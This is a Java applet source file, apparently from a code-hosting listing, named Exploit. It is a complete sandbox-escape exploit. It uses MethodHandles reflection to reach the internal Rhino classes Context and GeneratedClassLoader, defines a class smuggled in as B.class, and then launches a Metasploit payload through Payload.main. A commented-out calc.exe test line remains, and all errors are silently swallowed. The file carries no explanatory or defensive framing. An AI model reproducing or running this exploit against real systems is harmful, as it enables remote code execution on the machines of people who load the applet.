67 lines
3.5 KiB
Java
Executable File
67 lines
3.5 KiB
Java
Executable File
import java.io.ByteArrayOutputStream;
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import java.io.IOException;
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import java.io.InputStream;
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import java.io.ObjectInputStream;
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import java.io.ObjectOutputStream;
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import metasploit.Payload;
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//import java.lang.Runtime;
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import java.applet.Applet;
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import java.lang.invoke.MethodHandle;
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import java.lang.invoke.MethodHandles;
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import java.lang.invoke.MethodType;
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import java.lang.reflect.Method;
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public class Exploit extends Applet
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{
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public Exploit()
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{
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}
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public void init()
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{
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try
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{
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ByteArrayOutputStream bos = new ByteArrayOutputStream();
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byte[] buffer = new byte[8192];
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int length;
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// read in the class file from the jar
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InputStream is = getClass().getResourceAsStream("B.class");
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// and write it out to the byte array stream
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while( ( length = is.read( buffer ) ) > 0 )
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bos.write( buffer, 0, length );
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// convert it to a simple byte array
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buffer = bos.toByteArray();
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MethodHandles.Lookup localLookup = MethodHandles.publicLookup();
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MethodType localMethodType0 = MethodType.methodType(Class.class, String.class);
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MethodHandle localMethodHandle0 = localLookup.findStatic(Class.class, "forName", localMethodType0);
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Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.Context" });
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Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.GeneratedClassLoader" });
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MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
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MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1);
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MethodType localMethodType2 = MethodType.methodType(Void.TYPE);
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MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 });
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Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);
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MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class });
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MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3);
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MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class);
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MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 });
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Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });
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MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
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MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 });
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Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, buffer });
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localClass3.newInstance();
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Payload.main(null);
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//Runtime.getRuntime().exec("calc.exe");
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}
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catch(Throwable ex)
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{
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//ex.printStackTrace();
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}
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}
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}
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